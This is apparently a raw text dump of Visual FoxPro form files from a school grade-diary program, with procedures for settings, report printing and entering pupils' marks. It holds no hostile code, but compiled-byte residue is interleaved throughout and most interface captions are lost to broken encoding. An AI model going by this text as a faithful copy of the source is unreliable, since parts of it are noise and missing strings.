HTUINITHISVALUEGENAOInit,1qQ1=) commandbutton commandbuttonCommand1Form1gTop = 24 Left = 516 Height = 25 Width = 109 FontSize = 12 Caption = "" Name = "Command1" PROCEDURE Click PUBLIC G G=GETDIR(pPath,' ',' ',1) SELECT Ini GO top SKIP 3 replace Genao WITH G replace changed WITH .t. thisform.text1.Value=G IF G='' G=pPath+'Recovery' endif ENDPROC  U%/X >6U7PTC* 3F#) H > >aT%TRecoveryUGPPATHINIGENAOCHANGEDTHISFORMTEXT1VALUEClick,1qqQ1A1)labellabelLabel2Form1AutoSize = .T. FontSize = 13 Caption = "ʳ , ﳿ:" Height = 22 Left = 18 Top = 60 Width = 483 BackColor = 255,255,0 Name = "Label2" spinnerspinnerSpinner1Form1Height = 25 Left = 504 SpinnerHighValue = 30.00 SpinnerLowValue = 1.00 Top = 60 Width = 48 Value = 1 Name = "Spinner1" GPROCEDURE Init SELECT Ini GO top SKIP 3 this.Value=When ENDPROC  %p~6U(F#) HTUINITHISVALUEWHENInit,1qQ1<) commandbutton commandbuttonCommand2Form1oTop = 264 Left = 336 Height = 37 Width = 169 FontSize = 13 Caption = " " Name = "Command2" PROCEDURE Click SELECT Ini GO top IF Changed=.f. CLEAR EVENTS endif SELECT Ini GO top SKIP 3 replace when WITH thisform.spinner1.Value thisform.Release ENDPROC J 11&% 6UYF#)%- F#) H> UINICHANGEDWHENTHISFORMSPINNER1VALUERELEASEClick,1qQQAqQ14)1 commandbutton commandbuttonCommand3Form1jTop = 264 Left = 516 Height = 37 Width = 109 FontSize = 13 Caption = "" Name = "Command3" .PROCEDURE Click thisform.Release ENDPROC  %Pe_6U UTHISFORMRELEASEClick,12#)checkboxcheckboxCheck1Form1Top = 168 Left = 18 Height = 22 Width = 523 FontSize = 13 AutoSize = .T. Alignment = 0 Caption = " " Visible = .F. BackColor = 0,255,0 Name = "Check1" PROCEDURE Click IF this.Value=1 SELECT Ini GO 3 replace changed WITH .t. ELSE replace changed WITH .f. ENDIF ENDPROC  O% 6UI%/F # >aB >-UTHISVALUEINICHANGEDClick,1AqA2})labellabelLabel3Form1AutoSize = .T. FontSize = 13 Caption = " , " Height = 22 Left = 18 Top = 120 Width = 493 ForeColor = 0,0,0 BackColor = 192,192,192 Name = "Label3"  commandbutton commandbuttonCommand4Form1jTop = 120 Left = 516 Height = 25 Width = 97 FontSize = 12 Caption = "" Name = "Command4" 6PROCEDURE Click DO FORM Forms\Password.scx ENDPROC  j8%Tic6UForms\Password.scxUFORMSClick,11+)eArial, 0, 13, 8, 20, 15, 45, 4, 1 Arial, 0, 9, 5, 15, 12, 32, 3, 0 Arial, 0, 12, 7, 19, 15, 43, 3, 1 0 mPLATFORMCUNIQUEIDC TIMESTAMPN CLASSMCLASSLOCM!BASECLASSM%OBJNAMEM)PARENTM-PROPERTIESM1PROTECTEDM5METHODSM9OBJCODEM=OLEMAOLE2MERESERVED1MIRESERVED2MMRESERVED3MQRESERVED4MURESERVED5MYRESERVED6M]RESERVED7MaRESERVED8MeUSERMi COMMENT Screen  WINDOWS _38F0V48D61052997826/F] WINDOWS _38F0V48D71059027388 WINDOWS _38F0V48D81059027388 WINDOWS _38F0V48DM1052997826#0=Ki WINDOWS _38F0V48DN1059026487  WINDOWS _38F0V48DO1059026487  5Ec  WINDOWS _38F0V48DP1052997826@Sfzg!!" WINDOWS _38F0V48DQ1052997826##### WINDOWS _38F0VC56Z1059026487c$s$$$$%' WINDOWS _38F0VC5701052997826***+ + WINDOWS _38F0VRMFY1059026487++++,j,, WINDOWS _38F0VRMFZ1052997826.&.3.A._. WINDOWS _38O0UOTE61059023532 ////C/a/ WINDOWS _38O0UTQN21059023532p1|1111 WINDOWS _38O0UY3J410590264871 22(2F22)3 WINDOWS _38F0V48D61059026487J4_4t44459 WINDOWS _38O0UY3J61059026487====>|>B WINDOWS _38F0VC5711059026487G.GCGSG`GGH WINDOWS _38F0V48D61059026487HHII#IIVJ WINDOWS _38F0V48D71059026487kK{KKKKXLL COMMENT RESERVED MNVERSION = 3.00dataenvironmentdataenvironmentDataenvironmentYTop = 0 Left = 0 Width = 0 Height = 0 DataSource = .NULL. Name = "Dataenvironment" 11formformForm1Top = 0 Left = 0 Height = 399 Width = 633 ShowWindow = 1 DoCreate = .T. Caption = "Form1" FontSize = 12 MaxButton = .F. MinButton = .F. Icon = ..\ WindowType = 1 Name = "Form1"  pageframe pageframe Pageframe1Form1ErasePage = .T. PageCount = 2 Top = 0 Left = 0 Width = 636 Height = 336 Name = "Pageframe1" Page1.FontSize = 12 Page1.Caption = " " Page1.BackColor = 255,0,255 Page1.Name = "Page1" Page2.FontSize = 12 Page2.Caption = "ϳ " Page2.Name = "Page2" shapeshapeShape1Form1.Pageframe1.Page1@Top = 49 Left = 23 Height = 96 Width = 265 Name = "Shape1"  commandbutton commandbuttonCommand1Form1.Pageframe1.Page1}Top = 248 Left = 431 Height = 37 Width = 157 FontSize = 12 Caption = "..." PicturePosition = 2 Name = "Command1" 7PROCEDURE Click * ... IF (thisform.pageframe1.page1.optiongroup1.option1.Value=1); .or.empty(thisform.pageframe1.page1.combo1.Value)=.t. MESSAGEBOX(' ! , ',16+64) ENDIF * !! IF (thisform.pageframe1.page1.optiongroup1.option1.Value=1).and.empty(thisform.pageframe1.page1.combo1.Value)=.f. SELECT People LOCATE FOR first_name=thisform.pageframe1.page1.combo1.Value PrinVal=num SELECT a.first_name,b.name_tem,c.predmet,d.Tema; FROM People a, Temjke b, Subjects c, Otsinku d; WHERE (d.cod_name=a.num).and.(d.Urok=c.num_pred).and.(d.Utema=b.special).and.(d.cod_name=PrinVal); INTO CURSOR PrintCur SELECT PrintCur GO top REPORT FORM Reports\onlyonetema.frx WHILE NOT EOF() TO PRINTER PROMPT ENDIF * ... IF (thisform.pageframe1.page1.optiongroup1.option2.Value=1).and.empty(thisform.pageframe1.page1.combo1.Value)=.f. SELECT Subjects LOCATE FOR predmet=thisform.pageframe1.page1.combo1.Value PrinVal=num_pred SELECT Temjke LOCATE FOR name_tem=thisform.pageframe1.page1.combo2.Value PrinVal2=special SELECT a.First_name, b.predmet, c.Tema, d.name_tem; FROM People a, Subjects b, Otsinku c, Temjke d; WHERE (c.cod_name=a.num).and.(c.urok=b.num_pred).and.(c.Utema=d.num_tem).and.(c.Urok=PrinVal).and.(c.Utema=PrinVal2); into CURSOR PrintCur2 SELECT PrintCur2 REPORT FORM Reports\tematuchni.frx WHILE NOT EOF() TO PRINTER PROMPT endif ENDPROC 6 w%6UR8%Ca PCA ! , Px8%C- F- T  oPeopleQ TemjkeQ SubjectsQOtsinkuQ       PrintCurF#)(?Reports\onlyonetema.frx(!"+C+ 8%C- KF- T F-  ToPeopleQ SubjectsQ OtsinkuQTemjkeQ        PrintCur2F '?Reports\tematuchni.frx(!"+C+ U!THISFORM PAGEFRAME1PAGE1 OPTIONGROUP1OPTION1VALUECOMBO1PEOPLE FIRST_NAMEPRINVALNUMABNAME_TEMCPREDMETDTEMATEMJKESUBJECTSOTSINKUCOD_NAMEUROKNUM_PREDUTEMASPECIALPRINTCURREPORTSOPTION2COMBO2PRINVAL2NUM_TEM PRINTCUR2Click,1Aq qQAqqt qqA1,) commandbutton commandbuttonCommand2Form1.Pageframe1.Page1Top = 200 Left = 431 Height = 37 Width = 156 FontSize = 12 Caption = "" PicturePosition = 2 Name = "Command2" PROCEDURE Click * !! IF (thisform.pageframe1.page1.optiongroup1.option1.Value=1).and.empty(thisform.pageframe1.page1.combo1.Value)=.f. SELECT People LOCATE FOR first_name=thisform.pageframe1.page1.combo1.Value PrinVal=num SELECT a.first_name,b.name_tem,c.predmet,d.Tema; FROM People a, Temjke b, Subjects c, Otsinku d; WHERE (d.cod_name=a.num).and.(d.Urok=c.num_pred).and.(d.Utema=b.special).and.(d.cod_name=PrinVal); INTO CURSOR PrintCur SELECT PrintCur GO top REPORT FORM Reports\onlyonetema.frx WHILE NOT EOF() PREVIEW NOWAIT ENDIF * .. IF (thisform.pageframe1.page1.optiongroup1.option1.Value=1).and.empty(thisform.pageframe1.page1.combo1.Value)=.t. MESSAGEBOX(', " , !') ENDIF * ... IF (thisform.pageframe1.page1.optiongroup1.option2.Value=1).and.empty(thisform.pageframe1.page1.combo1.Value)=.f. SELECT Subjects LOCATE FOR predmet=thisform.pageframe1.page1.combo1.Value PrinVal=num_pred SELECT Temjke LOCATE FOR name_tem=thisform.pageframe1.page1.combo2.Value PrinVal2=special SELECT a.First_name, b.predmet, c.Tema, d.name_tem; FROM People a, Subjects b, Otsinku c, Temjke d; WHERE (c.cod_name=a.num).and.(c.urok=b.num_pred).and.(c.Utema=d.num_tem).and.(c.Urok=PrinVal).and.(c.Utema=PrinVal2); into CURSOR PrintCur2 SELECT PrintCur2 REPORT FORM Reports\tematuchni.frx WHILE NOT EOF() PREVIEW NOWAIT endif ENDPROC + %6UG8%C- AF- T  oPeopleQ TemjkeQ SubjectsQOtsinkuQ       PrintCurF#)'?Reports\onlyonetema.frx:+C+ 8%Ca GC;, " , !x8%C- @F- T F-  ToPeopleQ SubjectsQ OtsinkuQTemjkeQ        PrintCur2F &?Reports\tematuchni.frx:+C+ U!THISFORM PAGEFRAME1PAGE1 OPTIONGROUP1OPTION1VALUECOMBO1PEOPLE FIRST_NAMEPRINVALNUMABNAME_TEMCPREDMETDTEMATEMJKESUBJECTSOTSINKUCOD_NAMEUROKNUM_PREDUTEMASPECIALPRINTCURREPORTSOPTION2COMBO2PRINVAL2NUM_TEM PRINTCUR2Click,1q qQqAqAqqt qaA1) optiongroup optiongroup Optiongroup1Form1.Pageframe1.Page1AutoSize = .T. ButtonCount = 3 Value = 1 Height = 69 Left = 35 Top = 61 Width = 245 Name = "Optiongroup1" Option1.FontSize = 12 Option1.Caption = " " Option1.Value = 1 Option1.Height = 21 Option1.Left = 5 Option1.Top = 5 Option1.Width = 207 Option1.AutoSize = .T. Option1.Name = "Option1" Option2.FontSize = 12 Option2.Caption = " " Option2.Height = 21 Option2.Left = 5 Option2.Top = 24 Option2.Width = 235 Option2.AutoSize = .T. Option2.Name = "Option2" Option3.FontSize = 12 Option3.Caption = "" Option3.Height = 21 Option3.Left = 5 Option3.Top = 43 Option3.Width = 76 Option3.AutoSize = .T. Option3.Name = "Option3" PROCEDURE Option2.Click thisform.pageframe1.page1.label2.Caption=', , :' ENDPROC PROCEDURE Option3.Click DO FORM Forms\reitung.scx ENDPROC m TT:%6U>;T", , :UTHISFORM PAGEFRAME1PAGE1LABEL2CAPTIONForms\reitung.scxUFORMS Option2.Click, Option3.Click141j)TlabellabelLabel1Form1.Pageframe1.Page1AutoSize = .T. FontSize = 13 Caption = " :" Height = 22 Left = 35 Top = 37 Width = 159 Name = "Label1" comboboxcomboboxCombo1Form1.Pageframe1.Page1PFontSize = 12 Height = 25 Left = 383 Top = 61 Width = 217 Name = "Combo1" {PROCEDURE Click PUBLIC PrintVal IF (thisform.pageframe1.page1.optiongroup1.option2.Value=1) thisform.pageframe1.page1.label3.Visible=.t. thisform.pageframe1.page1.combo2.Visible=.t. PrintVal=this.Value SELECT Subjects LOCATE FOR predmet=PrintVal PrintVal=num_pred endif ENDPROC PROCEDURE DropDown IF thisform.pageframe1.page1.optiongroup1.option1.Value=1 this.Clear SELECT People SCAN FOR DEl<>.t. this.AddItem(first_name) ENDSCAN ENDIF If thisform.pageframe1.page1.optiongroup1.option2.Value=1 this.Clear SELECT Subjects SCAN FOR DEl<>.t. this.AddItem(predmet) endscan endif ENDPROC H //V%6U7!%TaT aT F -  T UPRINTVALTHISFORM PAGEFRAME1PAGE1 OPTIONGROUP1OPTION2VALUELABEL3VISIBLECOMBO2THISSUBJECTSPREDMETNUM_PRED %V F~ aRC   %  F ~ aC UTHISFORM PAGEFRAME1PAGE1 OPTIONGROUP1OPTION1VALUETHISCLEARPEOPLEDELADDITEM FIRST_NAMEOPTION2SUBJECTSPREDMETClick,DropDown@1qqqqA3qAAqAA1 >p )/labellabelLabel2Form1.Pageframe1.Page1AutoSize = .T. FontSize = 12 Caption = ', , " :' Height = 21 Left = 347 Top = 37 Width = 233 Name = "Label2" comboboxcomboboxCombo2Form1.Pageframe1.Page1`FontSize = 12 Height = 25 Left = 383 Top = 121 Visible = .F. Width = 217 Name = "Combo2" zPROCEDURE DropDown SELECT Temjke SCAN FOR (DEl<>.t.).and.(num_tem=PrintVal) this.AddItem(name_tem) endscan ENDPROC %   %6U<F~a  5CUTEMJKEDELNUM_TEMPRINTVALTHISADDITEMNAME_TEMDropDown,1qA1o) labellabelLabel3Form1.Pageframe1.Page1AutoSize = .T. FontSize = 12 Caption = ", , :" Height = 21 Left = 347 Top = 97 Visible = .F. Width = 278 Name = "Label3"  optiongroup optiongroup Optiongroup1Form1.Pageframe1.Page2ButtonCount = 2 Value = 1 Height = 48 Left = 11 Top = 13 Width = 300 Name = "Optiongroup1" Option1.FontSize = 13 Option1.Caption = " " Option1.Value = 1 Option1.Height = 22 Option1.Left = 5 Option1.Top = 5 Option1.Width = 234 Option1.AutoSize = .T. Option1.Name = "Option1" Option2.FontSize = 13 Option2.Caption = " " Option2.Height = 22 Option2.Left = 5 Option2.Top = 24 Option2.Width = 294 Option2.AutoSize = .T. Option2.Name = "Option2" linelineLine1Form1.Pageframe1.Page2?Height = 0 Left = -1 Top = 157 Width = 636 Name = "Line1" comboboxcomboboxCombo1Form1.Pageframe1.Page2_FontSize = 13 Enabled = .T. Height = 25 Left = 407 Top = 13 Width = 216 Name = "Combo1" tPROCEDURE DropDown this.Clear SELECT Subjects SCAN FOR DEl<>.t. this.AddItem(predmet) ENDSCAN ENDPROC  sN%6U9 F~a2CUTHISCLEARSUBJECTSDELADDITEMPREDMETDropDown,1qA2i) commandbutton commandbuttonCommand1Form1.Pageframe1.Page2kTop = 61 Left = 455 Height = 37 Width = 157 FontSize = 13 Caption = "" Name = "Command1" yPROCEDURE Click IF (thisform.pageframe1.page2.optiongroup1.option1.Value=1).and.empty((thisform.pageframe1.page2.combo1.value))=.f. SELECT Subjects LOCATE FOR predmet=thisform.pageframe1.page2.combo1.Value PrinVal=num_pred SELECT a.first_name, b.predmet, c.semestr1; FROM People a, Subjects b, Otsinku c; WHERE (c.cod_name=a.num).and.(c.Urok=b.num_pred).and.(b.num_pred=PrinVal).and.(c.Semestr1<>0); INTO CURSOR PrinCur3 SELECT PrinCur3 GO top REPORT FORM Reports\RSemestr1.frx WhiLE NOT EOF() PREVIEW NOWAIT ENDIF * !!! IF (thisform.pageframe1.page2.optiongroup1.option2.Value=1).and.empty((thisform.pageframe1.page2.combo1.Value))=.f. SELECT Subjects LOCATE FOR predmet=thisform.pageframe1.page2.combo1.Value PrinVal=num_pred SELECT a.first_name,b.predmet,c.semestr2,c.years; FROM People a, Subjects b, Otsinku c; WHERE (c.cod_name=a.num).and.(c.urok=b.num_pred).and.(c.urok=PrinVal).and.(c.semestr2<>0); ORDER BY first_name ASC; into cursor PrintCur4 SELECT printCur4 GO top REPORT FORM Reports\rSemestr2.frx WHILE NOT EOF() PREVIEW NOWAIT endif ENDPROC  %6Uj9%C- (F- T  oPeopleQ SubjectsQ OtsinkuQ       PrinCur3F#)%?Reports\RSemestr1.frx:+C+ 9%C- cF- T  oPeopleQ SubjectsQ OtsinkuQ       PrintCur4F#)%?Reports\rSemestr2.frx:+C+ UTHISFORM PAGEFRAME1PAGE2 OPTIONGROUP1OPTION1VALUECOMBO1SUBJECTSPREDMETPRINVALNUM_PRED FIRST_NAMEABCSEMESTR1PEOPLEOTSINKUCOD_NAMENUMUROKPRINCUR3REPORTSOPTION2SEMESTR2YEARS PRINTCUR4Click,1q qQQAq qQQA1n) commandbutton commandbuttonCommand2Form1.Pageframe1.Page2eTop = 109 Left = 455 Height = 37 Width = 157 FontSize = 13 Caption = "" Name = "Command2" rPROCEDURE Click IF (thisform.pageframe1.page2.optiongroup1.option1.Value=1).and.empty((thisform.pageframe1.page2.combo1.value))=.f. SELECT Subjects LOCATE FOR predmet=thisform.pageframe1.page2.combo1.Value PrinVal=num_pred SELECT a.first_name, b.predmet, c.semestr1; FROM People a, Subjects b, Otsinku c; WHERE (c.cod_name=a.num).and.(c.Urok=b.num_pred).and.(b.num_pred=PrinVal).and.(c.Semestr1<>0); INTO CURSOR PrinCur3 SELECT PrinCur3 GO top REPORT FORM Reports\RSemestr1.frx WhiLE NOT EOF() TO PRINTER PROMPT ENDIF * 2 !!! IF (thisform.pageframe1.page2.optiongroup1.option2.Value=1).and.empty((thisform.pageframe1.page2.combo1.Value))=.f. SELECT Subjects LOCATE FOR predmet=thisform.pageframe1.page2.combo1.Value PrinVal=num_pred SELECT a.first_name,b.predmet,c.semestr2,c.years; FROM People a, Subjects b, Otsinku c; WHERE (c.cod_name=a.num).and.(c.urok=b.num_pred).and.(c.urok=PrinVal).and.(c.semestr2<>0); ORDER BY first_name ASC; into cursor PrintCur4 SELECT printCur4 GO top REPORT FORM Reports\rSemestr2.frx WHILE NOT EOF() TO PRINTER PROMPT endif ENDPROC  %6Ul9%C- )F- T  oPeopleQ SubjectsQ OtsinkuQ       PrinCur3F#)&?Reports\RSemestr1.frx(!"+C+ 9%C- eF- T  oPeopleQ SubjectsQ OtsinkuQ       PrintCur4F#)&?Reports\rSemestr2.frx(!"+C+ UTHISFORM PAGEFRAME1PAGE2 OPTIONGROUP1OPTION1VALUECOMBO1SUBJECTSPREDMETPRINVALNUM_PRED FIRST_NAMEABCSEMESTR1PEOPLEOTSINKUCOD_NAMENUMUROKPRINCUR3REPORTSOPTION2SEMESTR2YEARS PRINTCUR4Click,1q qQaAq qQaA1g) commandbutton commandbuttonCommand1Form1{Top = 336 Left = 444 Height = 60 Width = 181 FontSize = 12 Caption = "" PicturePosition = 2 Name = "Command1" .PROCEDURE Click thisform.Release ENDPROC  %Pe_6U UTHISFORMRELEASEClick,12#)checkboxcheckboxCheck2Form1Top = 348 Left = 24 Height = 21 Width = 172 FontSize = 12 AutoSize = .T. Alignment = 0 Caption = " " ForeColor = 0,0,255 Name = "Check2" }PROCEDURE Click * !!!!!!!!!! IF thisform.check1.Value=1 YesTrue=.t. ELSE YesTrue=.f. endif ENDPROC  \%6U<%" Ta5 T-UTHISFORMCHECK1VALUEYESTRUEClick,1rA1r)checkboxcheckboxCheck1Form1Top = 372 Left = 24 Height = 21 Width = 207 FontSize = 12 AutoSize = .T. Alignment = 0 Caption = " " ForeColor = 0,0,255 Name = "Check1" gPROCEDURE Click PUBLIC YesPrint IF this.Value=1 YesPrint=.t. ELSE YesPrint=.f. endif ENDPROC   u%6U@7%& Ta9 T-UYESPRINTTHISVALUEClick,1qAA1\)"Arial, 0, 12, 7, 19, 15, 43, 3, 1 0 mPLATFORMCUNIQUEIDC TIMESTAMPN CLASSMCLASSLOCM!BASECLASSM%OBJNAMEM)PARENTM-PROPERTIESM1PROTECTEDM5METHODSM9OBJCODEM=OLEMAOLE2MERESERVED1MIRESERVED2MMRESERVED3MQRESERVED4MURESERVED5MYRESERVED6M]RESERVED7MaRESERVED8MeUSERMi COMMENT Screen  WINDOWS _34P16OUOG1043635938/F] WINDOWS _34P16OUOH1059288224 G WINDOWS _34P16OUOI1059288224-=KX0 WINDOWS _34P16OUOJ1056805898 0 > K  WINDOWS _34P16OUOK1059288224&4Al WINDOWS _34P16OUOG1056531136 WINDOWS _34P16OUOO1056531136 WINDOWS _34R1BKTAI10589577896K`p} WINDOWS _34R1BKTAJ1058957789&&+&;&H&&4' WINDOWS _35E1BFXQD1056805898T(a(n(|(( WINDOWS _34P16OUOG1058957053))")/)<)*p* WINDOWS _35R1BVW3G1056531136+++++ WINDOWS _35R1BVW3H1056531136@,M,Z,h,u, WINDOWS _35R1BZDX31056531136,,, -- WINDOWS _35R1BZDX41056531136----- WINDOWS _35R1BZDX510565311369.F.S.a.n. WINDOWS _39V0QF41E1058765841.//+/8//@0 WINDOWS _3AV0SEBL51058957789o11111O22 COMMENT RESERVED X33VERSION = 3.00dataenvironmentdataenvironmentDataenvironmentYTop = 0 Left = 0 Width = 0 Height = 0 DataSource = .NULL. Name = "Dataenvironment" 11formformForm1Height = 323 Width = 503 ShowWindow = 1 DoCreate = .T. AutoCenter = .T. Caption = " ..." MaxButton = .F. MinButton = .F. MaxHeight = 450 MaxWidth = 600 Icon = ..\ WindowType = 0 WindowState = 0 AlwaysOnTop = .T. BindControls = .F. Name = "Form1" 2PROCEDURE Init this.Icon='Diary.ico' ENDPROC  B%Xlf6UT Diary.icoUTHISICONInit,12')comboboxcomboboxCombo1Form1FontSize = 12 RowSourceType = 1 RowSource = "" DisplayValue = 73 Height = 25 Left = 199 Sorted = .F. Top = 41 Width = 229 BackColor = 255,255,255 ReadOnly = .F. DisplayCount = 15 Name = "Combo1" PROCEDURE DropDown thisform.label4.Caption='' THISFORM.COMBo1.Clear SELECT People SET filter to DEl<>.t. GO top IF NOT EOF() SCAN thisform.combo1.AddItem(first_name) endscan else SET FILTER TO IF messagebox(' ! ?',4,'Ulothrix ')=6 DO FORM Forms\Allfunctions.scx name Al endif endif SET FILTER TO ENDPROC 5 q%%6UT F G(a#) %C+ f~bC G(o%C@ ! ?Ulothrix x"Forms\Allfunctions.scxJ G(U THISFORMLABEL4CAPTIONCOMBO1CLEARPEOPLEDELADDITEM FIRST_NAMEFORMSALDropDown,11qQAAa!AAa2)comboboxcomboboxCombo2Form1FontSize = 12 Alignment = 3 RowSourceType = 0 RowSource = "" Height = 25 Left = 271 Sorted = .F. Top = 77 Width = 156 DisplayCount = 31 Name = "Combo2" !PROCEDURE Click PUBLIC W SELECT Subjects GO top SET FILTER TO DEl<>.t. locate FOR predmet=this.Value IF FOUND() w=num_pred thisform.combo3.Enabled=.t. endif SET FILTER TO ENDPROC PROCEDURE DropDown thisform.combo2.Clear SELECT Subjects SET FILTER TO DEL<>.t. GO top IF NOT EOF() SCAN thisform.combo2.AddItem(predmet) ENDscan ELSE set filter To IF MESSAGEBOX(" . ?",4)=6 DO Form Forms\re.scx name Al ENDIF endif SET FILTER TO ENDPROC  [H%m56Uh7F#) G(a- %C4[ TT aG(U WSUBJECTSDELPREDMETTHISVALUENUM_PREDTHISFORMCOMBO3ENABLED F G(a#) %C+ S~OCG(\%CE . ?x Forms\re.scxJG(U THISFORMCOMBO2CLEARSUBJECTSDELADDITEMPREDMETFORMSALClick,DropDown1qqQAa2qQAAaAAa1  )comboboxcomboboxCombo3Form1FontSize = 12 Alignment = 3 RowSourceType = 1 Enabled = .F. Height = 25 Left = 319 Top = 113 Width = 109 DisplayCount = 9 Name = "Combo3" PROCEDURE Click thisform.text2.SetFocus ENDPROC PROCEDURE DropDown SELECT Temjke THISFORM.COMBO3.Clear SET FILTER TO DEL<>.t. GO top IF NOT EOF() LOCATE FOR num_tem=w IF FOUND() SCAN FOR num_tem = W thisform.combo3.AddItem(name_tem) ENDSCAN else IF MESSAGEBOX(" . ?",4,'Ulothrix ')=6 DO Form Forms\re.scx name Re endif endif ELSE IF MESSAGEBOX(" . ?",4,'Ulothrix ')=6 DO Form Forms\re.scx name Re endif endif SET FILTER TO ENDPROC * o%e6U UTHISFORMTEXT2SETFOCUSF  G(a#) %C+ - %C4w~sCs%CD . ?Ulothrix x  Forms\re.scxJ s%CD . ?Ulothrix x Forms\re.scxJ G(U TEMJKETHISFORMCOMBO3CLEARDELNUM_TEMWADDITEMNAME_TEMFORMSREClick,DropDown[15qQ!AA1AA1AAa1.M|)textboxtextboxText1Form1FontSize = 12 Alignment = 3 Value = 0 ControlSource = "" Format = "T" Height = 25 InputMask = "99" Left = 379 Top = 185 Width = 48 ColorSource = 0 Name = "Text1" labellabelLabel3Form1mFontSize = 15 Caption = " " Height = 25 Left = 163 Top = 185 Width = 157 Name = "Label3"  commandbutton commandbuttonCommand1Form1Top = 264 Left = 168 Height = 48 Width = 192 FontSize = 13 Picture = ..\ Caption = "'" PicturePosition = 2 Name = "Command1" pPROCEDURE Init this.Picture='Save.bmp' ENDPROC PROCEDURE Click PRIVATE T,Y A=thisform.text1.Value IF empty(A)=.f. .and. A<=12; .and.empty(thisform.combo1.Value)=.f.; .and. EMPTY(thisform.combo2.Value)=.f. .and. empty(thisform.combo3.Value)=.f.; .and. EMPTY(thisform.text1.Value)=.f. SELECT Ini GO 6 IF changed=.t. PAROl() ENDIF SELECT people LOCATE FOR TRIM(first_name)=trim(thisform.combo1.Value) IF FOUND() T=num ENDIF SELECT Subjects LOCATE FOR TRIM(predmet)=TRIM(thisform.combo2.Value) IF FOUND() Y=num_pred ENDIF SELECT Temjke LOCATE FOR TRIM(name_tem)=TRIM(thisform.combo3.Value) IF FOUND() Te=special endif SELECT Students APPEND BLANK replace name WITH T replace lesson WITH Y replace tema WITH Te replace mydate WITH thisform.text2.Value replace mark WITH thisform.text1.Value thisform.label4.Caption=' ' thisform.label2.ForeColor=0 thisform.label3.ForeColor=0 thisform.label5.ForeColor=0 ENDIF IF (A>12).or.EMPTY(thisform.text1.Value)=.t. MESSAGEBOX(' !',(0+64+0)) thisform.label3.ForeColor=255 ENDIF IF EMPTY(thisform.combo1.Value)=.t. MESSAGEBOX(', , " !',(0+64+0)) thisform.label2.ForeColor =255 ENDIF IF EMPTY(thisform.combo2.Value)=.t. MESSAGEBOX(', , !',(0+64+0)) thisform.label6.ForeColor =255 ENDIF IF EMPTY(thisform.combo3.Value)=.t. MESSAGEBOX(', , !',(0+64+0)) thisform.label7.ForeColor =255 ENDIF IF EMPTY(thisform.text2.Value)=.t. thisform.label1.ForeColor=255 thisform.text2.SetFocus endif ENDPROC l SS%g;6UTSave.bmpUTHISPICTURE 5T`%C-  C- C- C- C- F #% a C F -C `C` %C4 TF-C`C` %C4 TF-C`C` %C4[ TF > > >>>'T T T! T" #% Ca /C !@xT! %Ca/C , , " !@xT %Ca=1C", , !@xT# %Ca0C!, , !@xT$ %CaT%  &U'TYATHISFORMTEXT1VALUECOMBO1COMBO2COMBO3INICHANGEDPAROLPEOPLE FIRST_NAMENUMSUBJECTSPREDMETNUM_PREDTEMJKENAME_TEMTESPECIALSTUDENTSNAMELESSONTEMAMYDATETEXT2MARKLABEL4CAPTIONLABEL2 FORECOLORLABEL3LABEL5LABEL6LABEL7LABEL1SETFOCUSInit,ClickZ121qAqAqAqAqQ11q111B11Ar1Ar1Ar1Ar1A1'Ce)S commandbutton commandbuttonCommand2Form1{Top = 264 Left = 384 Height = 48 Width = 108 FontSize = 12 Caption = "" PicturePosition = 2 Name = "Command2" aPROCEDURE Click thisform.Release ENDPROC PROCEDURE Init this.Picture='Exit2.bmp' ENDPROC  ]\%6U UTHISFORMRELEASET Exit2.bmpUTHISPICTUREClick,InitP131#>V)labellabelLabel4Form1sFontSize = 15 Caption = "" Height = 37 Left = 91 Top = 221 Width = 228 ForeColor = 255,0,0 Name = "Label4" textboxtextboxText2Form1FontSize = 12 Alignment = 3 Value = {} ControlSource = "" Enabled = .T. Format = "D" Height = 25 HideSelection = .T. InputMask = "" Left = 319 Top = 149 Width = 109 Name = "Text2" cPROCEDURE Init this.Value=DATE() ENDPROC PROCEDURE LostFocus thisform.text1.setfocus ENDPROC  ]i%~6UTC$UTHISVALUE UTHISFORMTEXT1SETFOCUSInit, LostFocusO121!AX)labellabelLabel5Form1pFontSize = 15 Caption = " :" Height = 25 Left = 19 Top = 5 Width = 192 Name = "Label5" labellabelLabel2Form1eFontSize = 15 Caption = "' " Height = 25 Left = 31 Top = 41 Width = 84 Name = "Label2" labellabelLabel6Form1hFontSize = 15 Caption = " " Height = 25 Left = 31 Top = 77 Width = 157 Name = "Label6" labellabelLabel7Form1uFontSize = 15 Caption = " " Height = 25 Left = 31 Top = 113 Width = 240 Name = "Label7" labellabelLabel1Form1{FontSize = 15 Caption = " " Height = 25 Left = 31 Top = 149 Width = 288 Name = "Label1"  commandbutton commandbuttonCommand3Form1AutoSize = .T. Top = 149 Left = 434 Height = 27 Width = 84 Caption = "Command3" PicturePosition = 14 Name = "Command3" yPROCEDURE Init this.Picture='Kalendar.bmp' ENDPROC PROCEDURE Click DO FORM Forms\Kalendar.scx NAME KA ENDPROC ' %6UT Kalendar.bmpUTHISPICTURE!Forms\Kalendar.scxJUFORMSKAInit,Click^123+Gn) commandbutton commandbuttonCommand4Form1AutoSize = .F. Top = 264 Left = 12 Height = 48 Width = 146 FontSize = 12 WordWrap = .F. Caption = " ..." Name = "Command4" 2PROCEDURE Click DO FORM Forms\Many.scx ENDPROC  %Pe_6UForms\Many.scxUFORMSClick,1a1')eArial, 0, 9, 5, 15, 12, 32, 3, 0 Arial, 0, 12, 7, 19, 15, 43, 3, 1 Arial, 0, 13, 8, 20, 15, 45, 4, 1 0 mPLATFORMCUNIQUEIDC TIMESTAMPN CLASSMCLASSLOCM!BASECLASSM%OBJNAMEM)PARENTM-PROPERTIESM1PROTECTEDM5METHODSM9OBJCODEM=OLEMAOLE2MERESERVED1MIRESERVED2MMRESERVED3MQRESERVED4MURESERVED5MYRESERVED6M]RESERVED7MaRESERVED8MeUSERMi COMMENT Screen  WINDOWS _35S1797I21046258779/F] WINDOWS _35S1797I31060352162  WINDOWS _35S1797I41052611964 (5B WINDOWS _35S1797I51060352162 WINDOWS _35S1797I21052611964  WINDOWS _35W0P2N8J1052737769 WINDOWS _35W0P2N8K1052737769 WINDOWS _35W0PPTTA1052737769`mz WINDOWS _35S17CCS41059627307.;Hu WINDOWS _36P1DJ1OW1059627307>M\iv WINDOWS _36P1DJ1OX1052737769* WINDOWS _36P1DJ1OY1059627307Y COMMENT RESERVED &""qVERSION = 3.00dataenvironmentdataenvironmentDataenvironmentYTop = 0 Left = 0 Width = 0 Height = 0 DataSource = .NULL. Name = "Dataenvironment" 11formformForm1Height = 498 Width = 788 Desktop = .T. ShowWindow = 1 DoCreate = 